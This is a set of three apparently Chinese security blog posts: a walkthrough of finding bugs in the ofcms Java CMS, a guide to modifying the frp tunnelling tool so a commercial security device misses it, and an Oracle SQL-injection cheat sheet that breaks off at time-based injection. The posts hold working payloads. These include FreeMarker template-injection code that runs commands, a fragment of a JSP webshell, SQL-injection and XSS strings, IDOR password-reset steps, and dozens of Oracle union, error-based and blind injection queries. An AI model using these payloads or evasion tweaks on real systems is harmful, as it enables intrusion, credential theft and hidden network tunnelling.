前言 挖了一些phpcms的漏洞了,突然想尝试去挖一下javacms的漏洞,于是写下这篇文章来记录一下自己挖洞的一个流程,希望能帮助到一些正在学习挖洞的师傅们。 确立目标 挖洞的第一步首先是确立一个目标,也就是找个cms来挖,这里可以通过github,gitee或者谷歌百度直接去搜cms。 如果挖洞经验比较少的话建议找一下star少的cms去挖,找到相应的项目,然后点进去,下载源码,然后看项目的介绍,大致了解一下项目的信息和安装的过程。 信息收集 如果确定了目标,接下来我们可以去了解一下他的项目信息,相应的漏洞等。 项目信息除了上面的README以为还可以看看issues模块,这里可能会有一些系统问题或者安装问题,后续我们可能会遇到 漏洞信息的话可以通过cnvd或者其他漏洞平台(直接百度也可以)去查看该系统的漏洞情况。 或者cnvd查看相应的信息,通过查看相应的信息可以提高我们挖洞的效率,我们从中可以知道该项目已经存在漏洞,我们到时候挖就可以看看相应的地方会不会还存在漏洞或者避免挖到别人挖过的漏洞。 环境搭建 上面的信息收集完之后我们就要开始搭建环境了,搭建环境是很关键的一步,由于某些cms安装过程繁琐或者没写好说明,会导致安装出现很多问题甚至装不上,这里我们要注意项目的文档,如果实在安装有问题可以通过相关渠道去联系一下作者或者相应的qq群寻求一下帮助。 本次挖掘的漏洞是ofcms,首先先下载一下源码,然后解压丢一边,回到网页来看一下项目文档。 环境要求 一般项目都会有写环境要求的,我们调整一下就好。 环境准备 环境解压完我们用idea打开,如果发现一些重要目录文件不见了,重开一下就有了。 数据库 首先找到db.properties,如果不能一眼看到可以通过ctrl+shift+f来快速搜索 /ofcms-admin/src/main/resources/dev/conf/db.properties 找到了文件,访问相对应的路径即可,这里我们修改一下数据库用户名和密码,然后点击右边的数据库来测试连接。 然后按数据库信息来修改,然后点击右边的数据库,配置一下。 如果出现以下的错误 Server returns invalid timezone. Go to 'Advanced' tab and set 'serverTimezone' property manually. 这是时区问题,如果配置了环境变量报错,可以通过以下步骤来解决。 win+R cmd mysql -hlocalhost -uroot -p (然后输入数据库密码) show variables like'%time_zone'; set global time_zone = '+8:00'; 没配置环境变量的,看这个文章 https://blog.csdn.net/liuqiker/article/details/102455077配置成功效果图如下 maven 右键项目找到mavne重新加载项目即可 tomcat 在run-configuration中配置tomcat 在Deployment配置一下 一切配置好后点击run启动就可以了,如果遇到端口报错改一下端口,其他的报错就百度一下。 安装过程 这一步就比较简单了,跟着弄就好了。 下一步,然后配置好数据库,这里记得先在数据库中新建个ofcms的库,否则会报Unknown database 'ofcms'的错。 在这里,正常安装步骤是建立好数据库,输入账号密码就等待安装就好。 如果出现以下报错,我们可以通过手工导入数据库,这一种情况在安装别的cms也很常见,在安装遇到数据库问题我们可以直接导入数据库。 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DROP TABLE IF EXISTS `of_cms_access`; CREATE TABLE `of_cms_access` ( `access_i' at line 21 数据库位置ofcms-master\doc\sql,选择相应的版本直接拖进navicat中,然后导入成功后刷新一下就好。 接着将数据库配置文件db-config.properties文件名修改为db.properties,重启一下服务。 漏洞复现 环境搭建完,我们就可以开始挖洞了,然后在这里我建议是能找到该漏洞已存在的文章,我们就先去复现一下,看看别的师傅们的挖过的漏洞,一方面是防止重复,一方面是可以学习一下别人的挖洞思路。 ofcms其实存在挺多漏洞的,这里我们就来简单复现一下,大致看看师傅们的挖洞思路。 任意文件写入 漏洞模板文件这个位置,漏洞的详细分析可以看看https://blog.csdn.net/xd_2021/article/details/123611835 漏洞复现 我们选择任意一个html,然后点击保存抓包,我们可以看到包的信息。 这里就是写入文件,我们在admin目录下写入eek1.xml文件。 通过上面任意文件读取漏洞去读取一下 模板注入漏洞 漏洞在模板注入,这个漏洞主要是pom.xml引入了freemarker-2.3.21依赖,但是留下一些不安全因素导致的,具体漏洞分析可以看这篇http://www.wjhsh.net/bmjoker-p-13653563.html。 漏洞复现 漏洞复现过程比较简单,我们直接在html文件中插入payload就可以了 <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("calc") } 插入后直要访问前台就会出发payload 模板注入的知识点可以看看这篇https://blog.csdn.net/weixin_44522540/article/details/122844068 通过这一个洞,我们可以挖洞的时候可以去注意一下pom.xml引入的模板。 SQL注入漏洞 漏洞分析参考https://blog.csdn.net/xd_2021/article/details/123611835,由于这里的预编译处理不起作用,所以可以执行SQL语句。 漏洞复现 漏洞点在系统设置---代码生成---添加----添加表,在这里抓一下包 直接把payload输进来 update of_cms_ad set ad_id=updatexml(1,concat(1,user()),1) 任意文件上传 漏洞分析在上一篇文章里有说,这里主要就是利用windows或中间件文件上传特性来避免结尾为jsp或jspx 漏洞复现 找到一个上传点然后抓包,我这里是在内容管理----栏目管理----新增----新增用户----上传附件这里抓包的。 eek.jsp <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);sessio 可以看到文件上传进去,而且内容没被修改。 漏洞挖掘 通过上面的内容,我们学习了别的师傅的挖洞思路,接下来就是我自己的挖洞过程了,下面是我挖的几个洞。 首先除了已经存在的漏洞外,我们要大致知道什么漏洞会存在什么地方,例如登录注册界面会出现sql漏洞,逻辑漏洞等,留言框可能会出现xss漏洞,上传头像界面可能会出现任意文件上传漏洞等,信息泄露漏洞也可以通过御剑或者其他工具去扫一下。 XSS漏洞 漏洞复现 对于前台有个客户案例,选择其中一个案例,然后有个留言框,这里直接打入xss的payload就可以了。 <video src=x onerror=alert("eek") /> 漏洞分析 文件位置ofcms-master\ofcms-api\src\main\java\com\ofsoft\cms\api\v1 package com.ofsoft.cms.api.v1; import com.jfinal.plugin.activerecord.Db; import com.ofsoft.cms.api.ApiBase; import com.ofsoft.cms.core.annotation.Action; import com.ofsoft.cms.core.api.ApiMapping; import com.ofsoft.cms.core.api.RequestMethod; import com.ofsoft.cms.core.api.check.ParamsCheck; import com.ofsoft.cms.core.api.check.ParamsCheckType; import com.ofsoft.cms.core.utils.IpKit; import java.util.Map; /** * 评论接口 * * @author OF * @date 2019年2月24日 */ @Action(path = "/comment") public class CommentApi extends ApiBase {   /**     * 获取内容信息     */   @ApiMapping(method = RequestMethod.GET)   @ParamsCheck(           {@ParamsCheckType(name = "comment_content"), @ParamsCheckType(name = "content_id"),                   @ParamsCheckType(name = "site_id")})   public void save() {       try {           Map params = getParamsMap();           params.put("comment_ip", IpKit.getRealIp(getRequest()));           Db.update(Db.getSqlPara("cms.comment.save", params));           rendSuccessJson();       } catch (Exception e) {           e.printStackTrace();           rendFailedJson();       }   } } 请求/api/v1/comment/save.json?comment_content=123&content_id=61&site_id=1&check_status=1&_=1644130926694 这里直接接受请求,未对content的内容进行检测,直接将请求的值存入数据库中,导致存在跨站脚本漏洞。 逻辑缺陷漏洞1 本地环境 现有两个用户信息,系统管理员admin和普通管理员eek,如下是系统管理员的界面。 admin/admin eek/123 超级管理员后台界面。 普通管理员后台界面 漏洞复现 我们先以普通管理员登录 点击右上角,修改密码 在此处burp抓包 修改id为1,密码任意 修改前admin的密码是admin 修改后为admin,密码是eek 漏洞分析 漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的respwd方法 ...     public void respwd() {       Map<String, Object> params = getParamsMap();       String password = (String) params.get("password");       String newpassword = (String) params.get("newpassword");       if (!password.equals(newpassword)) {           rendFailedJson("两次密码不一致!");           return;       }       Record record = new Record();       if (!StringUtils.isBlank(password)) {           password = new Sha256Hash(password).toHex();           record.set("user_password", password);       }       record.set("user_id", params.get("user_id"));       try {           Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);           rendSuccessJson();       } catch (Exception e) {           e.printStackTrace();           rendFailedJson(ErrorCode.get("9999"));       }   }... 在此方法中,后台对前端界面的id和两次密码值进行获取,然后传入后端,后端直接将id和密码传入数据库中,让数据库直接更新信息。 这里由于id可控导致用户可以直接修改任意id的密码,导致该地方存在任意用户密码重置。 逻辑缺陷漏洞2 本地环境 数据库信息如下图所示 现在有超级管理员,admin/123 普通管理员,eek/123 漏洞复现 首先以普通管理员身份登录,然后点击右上角,基本资料 在此处burp抓包 修改信息,user_id改为1,密码修改为admin 以系统管理员身份登录 成功登录 漏洞分析 漏洞文件:\ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\system\SysUserController.java的update方法 ...     public void update() {       Map<String, Object> params = getParamsMap();       String password = (String) params.get("password");       if (!StringUtils.isBlank(password)) {           password = new Sha256Hash(password).toHex();           params.put("user_password", password);       }       params.remove("password");       String roleId = (String) params.get("role_id");       if (!StringUtils.isBlank(roleId)) {           SqlPara sql = Db.getSqlPara("system.user.role_update", params);           Db.update(sql);       }       params.remove("role_id");       Record record = new Record();       record.setColumns(params);       try {           Db.update(AdminConst.TABLE_OF_SYS_USER, "user_id", record);           rendSuccessJson();       } catch (Exception e) {           e.printStackTrace();           rendFailedJson(ErrorCode.get("9999"));       } } ... 在此方法中,后台管理直接将新增的数据放到数据库中,直接对数据库内容进行更新,未对不合法内容进行检测,导致该地方存在任意用户信息重置。 任意文件读取 漏洞复现 找到模板文件 所对应的路径是\ofcms-master\ofcms-admin\src\main\webapp\WEB-INF\page\default,这里可以通过目录穿越来读取任意文件。 在他的上两级有个web.xml文件,我们尝试读取一些。 这里不能直接编辑,burp抓个包。 web.xml文件如下所示 <!DOCTYPE web-app PUBLIC       "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"       "http://td/web-app_2_3.dtd" > <web-app>   <display-name>Archetype Created Web Application</display-name>   <listener>       <listener-class>org.apache.shiro.web.env.EnvironmentLoaderListener</listener-class>   </listener>   <filter>       <filter-name>shiro</filter-name>       <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class>   </filter>   ......... 读取成功 漏洞分析 漏洞文件位置:ofcms-master\ofcms-admin\src\main\java\com\ofsoft\cms\admin\controller\cms\TemplateController.java漏洞位于该模块的getTemplates方法中 package com.ofsoft.cms.admin.controller.cms; ...   public void getTemplates() {       //当前目录       String dirName = getPara("dir","");       //上级目录       String upDirName = getPara("up_dir","/");       //类型区分           String resPath = getPara("res_path");       //文件目录       String dir = null;       if(!"/".equals(upDirName)){             dir = upDirName+dirName;       }else{             dir = dirName;       }       File pathFile = null;       if("res".equals(resPath)){           pathFile = new File(SystemUtile.getSiteTemplateResourcePath(),dir);       }else {           pathFile = new File(SystemUtile.getSiteTemplatePath(),dir);       }       File[] dirs = pathFile.listFiles(new FileFilter() {           @Override           public boolean accept(File file) {               return file.isDirectory();           }       });       if(StringUtils.isBlank (dirName)){           upDirName = upDirName.substring(upDirName.indexOf("/"),upDirName.lastIndexOf("/"));       }       setAttr("up_dir_name",upDirName);       setAttr("up_dir","".equals(dir)?"/":dir);       setAttr("dir_name",dirName.equals("")?SystemUtile.getSiteTemplatePathName():dirName);       setAttr("dirs", dirs);       /*if (dirName != null) {           pathFile = new File(pathFile, dirName);       }*/       File[] files = pathFile.listFiles(new FileFilter() {           @Override           public boolean accept(File file) {               return !file.isDirectory() && (file.getName().endsWith(".html") || file.getName().endsWith(".xml")                       || file.getName().endsWith(".css") || file.getName().endsWith(".js"));           }       });       setAttr("files", files);       String fileName = getPara("file_name", "index.html");       File editFile = null;       if (fileName != null && files != null && files.length > 0) {           for (File f : files) {               if (fileName.equals(f.getName())) {                   editFile = f;                   break;               }           }           if (editFile == null) {               editFile = files[0];               fileName = editFile.getName();           }       }       setAttr("file_name", fileName);       if (editFile != null) {           String fileContent = FileUtils.readString(editFile);           if (fileContent != null) {               fileContent = fileContent.replace("<", "&lt;").replace(">", "&gt;");               setAttr("file_content", fileContent);               setAttr("file_path", editFile);           }       }       if("res".equals(resPath)) {           render("/admin/cms/template/resource.html");       }else{       render("/admin/cms/template/index.html");       }   } ...... 这里没有对dir和dir_name的值进行不合法输入检测,导致这里可以进行目录穿越,然后后面的就只有对文件是否存在进行判断,若存在则读取。所以此处存在任意文件读取漏洞。 声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
某安全设备frp流量告警分析
前言 第一次使用某商设备,不同厂商的规则库不一样,总的来说流量监控很大一部分是基于规则库来实现的,所以在进行内网穿透的时候就要考虑如何bypass设备告警。 环境搭建 ubuntu 公网vps win10内网主机 wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_amd64.tar.gz 服务端配置 bind_port = 9666   //frp服务端端口 token = 123         //客户端连接时的token认证 dashboard_port=9999 //面板服务端口 dashboard_user=Ggoodstudy   //用户名 dashboard_pwd=xxxx         //密码 enable_prometheus=true log_file=/var/log/frps.log //日志存放位置 log_level=info log_max_days=3     vhost_http_port=9998         //http服务端口 启动 ./frps -c frps.ini 如果后台运行 nohup ./frps -c frps.ini & 访问面板 http://xx.xxx.xx.xx:9666输入账号密码登录 此时服务端的配置已成功,客户端配置 [common] server_addr = xx.xxx.x.x server_port = 9666 token = 123 [rdp] type = tcp local_ip = 127.0.0.1           local_port = 3389 remote_port = 7004   这里设置代理本机的3389和8077端口 mstsc连接到主机 抓取数据包 host xx.xx.xx.xx 主机ip192.168.43.246 这里我们可以看到请求的流量包,在请求服务端的9666端口 详情内容就是 可以看到详细数据包中src_addr为受害主机出口地址,目的端口dst_port为vps的穿透端口7004端口,目的ip为vps的私网地址。 此时的连接状态显示的,同时,查看远程时的连接远程桌面时会产生这样流量特征run_id 另外有特别的发现,虚拟机winserver 2012 R2在运行客户端之后,vps在连接的过程中也能获取到宿主机的用户名 这是一个比较特别的点儿,剩余的流量就是vps和跳板机的流量交互,没有很明显的特征。 回头看某商设备对于frp内网穿透的告警 我们可以对比之前的流量包,缺少的字段且仅有udp端口 这里可能某商的规则id是基于udp_port或者说是version字段而产生的告警行为。 魔改 从几个方面规避流量监测 1.交互量加密 对frp的认证使用tls加密,修改服务端frps.ini tlsonly = true 客户端配置frpc.ini tlsenable = true 2.重写服务端 在上面的流量包中可以看到,在进行交互的时候 服务端会请求客户端配置文件内容proxy_name,那么在定义变量的服务端,可以重写方法 case *msg.NewVisitorConn: if err = svr.RegisterVisitorConn(conn, m); err != nil { xl.Warn("register visitor conn error: %v", err) msg.WriteMsg(conn, &msg.NewVisitorConnResp{ ProxyName: m.ProxyName, Error:     util.GenerateResponseErrorString("register visitor conn error", err, svr.cfg.DetailedErrorsToClient), }) conn.Close() } else { msg.WriteMsg(conn, &msg.NewVisitorConnResp{ ProxyName: m.ProxyName, Error:     "", }) } 在客户端和服务器连接的时候流量特征变成自定义变量即可。 总结 frp的特征比较明显,所以就单纯魔改frp的话除了流量上做加密外,简单的修改特征bypass设备也是可以实现的。 本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本人无关。
数据库注入提权总结(四)
Oracle Oracle权限分类 权限是用户对一项功能的执行权力。在Oracle中,根据系统的管理方式不同,将 Oracle 权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上,在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体 (schema) 所拥有的权限。 系统权限管理 系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。 DBA:拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构 RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构 CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构 对于普通用户:授予connect,resource权限 对于DBA用户:授予connect,resource,dba权限 -- 系统权限授予命令: 系统权限只能由DBA用户授出,也就是sys,system(这两个用户是最开始的两个DBA用户) 授权命令:grant connect, resource, dba to username1 , username2...; 普通用户通过授权可以具有与system相同的用户权限,但永远不能达到与sys用户相同的权限,system用户的权限也可以被回收 回收授权命令:revoke connect, resource, dba from system; -- 查询用户拥有那些权限: select * from dba_role_privs; select * from dba_sys_privs; select * from role_sys_privs; -- 查询自己拥有那些系统权限 select * from session_privs; -- 删除用户 drop user [username] cascade; -- 加上cascade则将用户连同其创建的东西全部删除 -- 系统权限传递 增加 WITH ADMIN OPTION 选项,则得到的权限可以传递。 grant connect, resorce to user50 with admin option; -- 系统权限回收,只能由DBA用户回收 revoke connect, resource, dba from system; -- 说明 1. 如果使用WITH ADMIN OPTION为某个用户授予系统权限,那么对于被这个用户授予相同权限的所有用户来说,取消该用户的系统权限并不会级联取消这些用户的相同权限。 2. 系统权限无级联,即A授予B权限,B授予C权限,如果A收回B的权限,C的权限不受影响;系统权限可以跨用户回收,即A可以直接收回C用户的权限。 实体权限管理 实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。 select, update, insert, alter, index, delete, all //all 包括所有权限 execute // 执行存储过程权限 -- 授权用户表操作 grant select, update, insert on product to user02; grant all on product to user02; 上述两条命令是 除drop之外所有对 product表的操作授予 user02 用户 -- 授予全部用户表的操作权限 grant all on product to public; # all不包括 drop 权限 -- 实体权限传递 grant select, update on product to user02 with grant option; user02得到权限,并可以传递。 -- 实体权限的回收 Revoke select, update on product from user02; 传递的权限将全部消失 -- 说明 1. 如果取消某个用户的对象权限,那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说,同样还会取消这些用户的相同权限,也就是说取消授权时级联的。 角色管理 -- 建立一个角色 create role role1; -- 为角色授权 grant create any table,create procedure to role1; -- 授权角色给用户 grant role1 to user1; -- 查看角色所包含的权限 select * from role_sys_privs; -- 创建带有口令的角色(在生效带有口令的角色时必须提供口令) create role role1 identified by password1; -- 修改角色,设置是否需要口令 alter role role1 not identified; alter role role1 identified by password1; -- 设置当前用户要生效的角色 角色的生效是一个什么概念呢?假设用户a有b1,b2,b3三个角色,那么如果b1未生效,则b1所包含的权限对于a来讲是不拥有的,只有角色生效了,角色内的权限才作用于用户,最大可生效角色数由参数MAX_ENABLED_ROLES设定;在用户登录后,oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。 set role role1; # 使role1生效 set role role,role2; # 使role1,role2生效 set role role1 identified by password1; # 使用带有口令的role1生效 set role all; # 使用该用户的所有角色生效 set role none; # 设置所有角色失效 set role all except role1; # 除role1外的该用户的所有其它角色生效。 select * from SESSION_ROLES; # 查看当前用户的生效的角色。 -- 修改指定用户,设置其默认角色 alter user user1 default role role1; alter user user1 default role all except role1; -- 删除角色 drop role role1; 角色删除后,原来拥用该角色的用户就不再拥有该角色了,相应的权限也就没有了。 -- 说明 1. 无法使用WITH GRANT OPTION为角色授予对象权限 2. 可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联 PL/SQL语言 PL/SQL 也是一种程序语言,叫做过程化 SQL 语言(Procedual Language/SQL)。 PL/SQL 是 Oracle 数据库对 SQL 语句的扩展。在普通 SQL 语句的使用上增加了编程语言的特点,所以 PL/SQL 就是把数据操作和查询语句组织在 PL/SQL 代码的过程性单元中,通过逻辑判断、循环等操作实现复杂的功能或者计算的程序语言。在 PL/SQL 编程语言是由甲骨文公司在 20 世纪 80 年代,作为 SQL 程序扩展语言和 Oracle 关系数据库开发。 基本结构如下: DECLARE     BEGIN     EXCEPTION     END; SQL 注入需注意的规则 Oracle 使用查询语言获取需要跟上表名,这一点和 Access 类似,没有表的情况下可以使用 dual 表,dual 是 Oracle 的虚拟表,用来构成 select 的语法规则,Oracle 保证 dual 里面永远只有一条记录。 Oracle 的数据库类型是强匹配,所以在 Oracle 进行类似 Union 查询数据时必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用 NULL 代替某些无法快速猜测出的数据类型位置,这一点和 SQL Server 类似。 Oracle 和 mysql 不一样,分页中没有 limit,而是使用三层查询嵌套的方式实现分页 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=0 Oracle 的单行注释符号是 --,多行注释符号 /**/。 Oracle 数据库包含了几个系统表,这几个系统表里存储了系统数据库的表名和列名,如 user_tab_columns,all_tab_columns,all_tables,user_tables 系统表就存储了用户的所有的表、列名,其中 table_name 表示的是系统里的表名,column_name 里的是系统里存在的列名。 Oracle 使用 || 拼接字符串(在 URL 中使用编码 %7c 表示),concat() 函数也可以实现两个字符串的拼接 联合查询注入 Payload空格有问题,可以放在vscode中查看 # 判断注入点 所有数据库方式都一样 # 判断列数 依旧提交 order by 去猜测显示当前页面所用的 SQL 查询了多少个字段,也就是确认查询字段数。 ?id=1 order by 3 --+ ?id=1 order by 4 --+ # 判断回显点 ?id=-1 union select null,null,null from dual --+ ?id=-1 union select 1,'2','3' from dual --+ # 获取数据库基本信息 ?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+ ?id=-1 union select 1,(select instance_name from v_$instance),'3' from dual --+ # 获取数据库名,即用户名 Oracle 没有数据库名的概念,所谓数据库名,即数据表的拥有者,也就是用户名。 1. 获取第一个用户名 ?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+ 2. 获取第二个用户名 ?id=-1 union select 1,(select username from all_users where rownum=1 and username not in ('SYS')),'3' from dual --+       3. 获取当前用户名 ?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+ # 获取表名 1. 获取Test用户第一张表 ?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+ 2. 获取Test用户第二张表 ?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+ # 获取字段名 ?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+ ?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+ # 获取数据 ?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+ 报错注入 在 oracle 注入时候出现了数据库报错信息,可以优先选择报错注入,使用报错的方式将查询数据的结果带出到错误页面中。 使用报错注入需要使用类似 1=[报错语句],1>[报错语句],使用比较运算符,这样的方式进行报错注入(MYSQL 仅使用函数报错即可),类似 mssql 报错注入的方式。 utl_inaddr.get_host_name () utl_inaddr.get_host_address 本意是获取 ip 地址,但是如果传递参数无法得到解析就会返回一个 oracle 错误并显示传递的参数。 我们传递的是一个 sql 语句所以返回的就是语句执行的结果。oracle 在启动之后,把一些系统变量都放置到一些特定的视图当中,可以利用这些视图获得想要的东西。 # 获取用户名 ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+ # 获取表名 ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+ # 获取字段名 ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+ # 获取数据 ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+ ctxsys.drithsx.sn () # 获取用户名 ?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+ # 获取表名 ?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+ # 获取字段名 ?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+ # 获取数据 ?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+ dbms_xdb_version.checkin () # 获取用户名 ?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+ # 获取表名 ?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+ # 获取字段名 ?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+ # 获取数据 ?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+ dbms_xdb_version.makeversioned () # 获取用户名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+ # 获取表名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+ # 获取字段名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+ # 获取数据 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+ dbms_xdb_version.uncheckout () # 获取用户名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+ # 获取表名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+ # 获取字段名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+ # 获取数据 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+ dbms_utility.sqlid_to_sqlhash () # 获取用户名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+ # 获取表名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+ # 获取字段名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+ # 获取数据 http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+ ordsys.ord_dicom.getmappingxpath () # 获取用户名 http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+ # 获取表名 http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+ # 获取字段名 http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+ # 获取数据 http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+ XMLType () # 获取用户名 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+ # 获取表名 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7cchr(62))) from dual) is not null --+ # 获取字段名 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7cchr(62))) from dual) is not null --+ # 获取数据 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+ 布尔型盲注 decode() decode(字段或字段的运算,值1,值2,值3) 这个函数运行的结果是,当字段或字段的运算的值等于值 1 时,该函数返回值 2,否则返回值3,当然值 1,值 2,值 3 也可以是表达式,这个函数使得某些 sql 语句简单了许多 # 判断是否是TEST用户 ?id=1 and 1=(select decode(user,'TEST',1,0) from dual) --+ # 猜解当前用户 ?id=1 and 1=(select decode(substr((select user from dual),1,1),'a',1,0) from dual) --+ # 猜解表名 ?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+ # 猜解字段名 ?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1),'I',1,0) from dual) --+ # 猜解数据 ?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),'a',1,0) from dual) --+ instr () instr 函数的使用,从一个字符串中查找指定子串的位置 select instr('123456789','12') position from dual; 可以使用该函数按位爆破,该函数返回是从1开始 ?id=1 and (instr((select user from dual),'S'))=1 --+ ?id=1 and (instr((select user from dual),'SY'))=1 --+ ?id=1 and (instr((select user from dual),'SYS'))=1 --+ substr() 这个就和mysql 基本一致 # 猜解数据长度 ?id=1 and (select length(user) from dual)=3 --+ # ASCII按位爆破 ?id=1 and (select ascii(substr(user,1,1))from dual)=65 --+ 时间盲注 dbms_pipe.receive_message () 